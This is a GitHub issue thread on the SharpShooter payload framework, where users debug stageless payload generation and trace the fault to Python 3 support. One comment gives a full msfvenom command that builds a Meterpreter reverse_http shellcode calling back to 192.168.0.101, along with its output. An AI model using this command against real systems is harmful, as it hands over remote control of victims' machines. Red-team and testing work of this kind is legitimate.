Comments (6)
You need the C# byte-formatted output not the raw.
-f csharp is what you need.
HTH
from sharpshooter.
According to the docs in the README, you don't. You use the -f csharp
output for staged payloads, not stageless as I'm attempting to make.
In the case of a stageless payload, a raw shellcode file is read file[sic] the file system
Regardless, I tried anyway and got the same error as I got with the -f hex
and -f python
output.
from sharpshooter.
Yes you're supposed to use the raw format when using stageless - I'm not able to reproduce your issue though....
root@kali:~# msfvenom -a x86 -p windows/meterpreter/reverse_http LHOST=192.168.0.101 LPORT=8080 EnableStageEncoding=True -f raw > /mnt/hgfs/Tools/Share/x86shellcode.raw
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 375 bytes
root@kali:# file /mnt/hgfs/Tools/Share/x86shellcode.raw# strings /mnt/hgfs/Tools/Share/x86shellcode.raw
/mnt/hgfs/Tools/Share/x86shellcode.raw: data
root@kali:
;}$u
D$$[[aYZQ
]hnet
hwiniThLw&
SSSSSh:Vy
/B87L3p1VYhi8-7365opELQTeH0Q6TBuAxLH
SSSWSVh
_SSSSVh-
192.168.0.101
root@kali:~#
Then in SharpShooter...
[*] Provide path to raw shellcode, e.g. ./sc.raw
/Users/dmc/Tools/Share/x86shellcode.raw
[*] Provide name of output file (e.g. "maldoc")
$ python --version
Python 2.7.10
from sharpshooter.
When I explicitly run SharpShooter.py with the python2 interpreter, the stageless payload creation works as expected.
I note from the latest commits though that py3 support is at least intended, so it seems there's a bug in the python3 support.
from sharpshooter.
python3 support will need more testing, it was added from a PR - i've only extensively tested on 2.7.
from sharpshooter.
I found the solution reproducable by using Python2 when invoking Sharpshooter, and using a redirection operator (>) instead of output switch (-o) when generating the payload using msfvenom. HTH
from sharpshooter.
Related Issues (20)
- Is this project still under development?
- clean pull of the src does not appear to work with python 3 on stock kali HOT 2
- [!] Missing --dotnetver argument HOT 1
- jsmin help HOT 1
- Correct Reg path for AMSI commit? HOT 1
- custom payload
- Detected defender win10 HOT 2
- Not able get a meterpreter session back to Kali VM from Win10 client (Defender OFF)
- Does not appear to work with reverse_http HOT 2
- Run with metasploit multi/handler HOT 2
- installing error HOT 15
- .Net v4 compatibility issue from VBA/macro
- .HTA file execution doesn't call back HOT 2
- Make executable.
- Encoding issue with Python3 HOT 3
- Missing license information
- Inconsitent use of tabs and spaces in modules/excel4.py HOT 5
- Request: Update for Python3 HOT 1
- Error installing HOT 4
- initial_value must be unicode or None, not str HOT 1
Recommend Projects
-
React
A declarative, efficient, and flexible JavaScript library for building user interfaces.
-
Vue.js
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
-
Typescript
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
-
TensorFlow
An Open Source Machine Learning Framework for Everyone
-
Django
The Web framework for perfectionists with deadlines.
-
Laravel
A PHP framework for web artisans
-
D3
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
-
Recommend Topics
-
javascript
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
-
web
Some thing interesting about web. New door for the world.
-
server
A server is a program made to process requests and deliver data to clients.
-
Machine learning
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
-
Visualization
Some thing interesting about visualization, use data art
-
Game
Some thing interesting about game, make everyone happy.
Recommend Org
-
Facebook
We are working to build community through open source technology. NB: members must have two-factor auth.
-
Microsoft
Open source projects and samples from Microsoft.
-
Google
Google ❤️ Open Source for everyone.
-
Alibaba
Alibaba Open Source for everyone
-
D3
Data-Driven Documents codes.
-
Tencent
China tencent open source team.
from sharpshooter.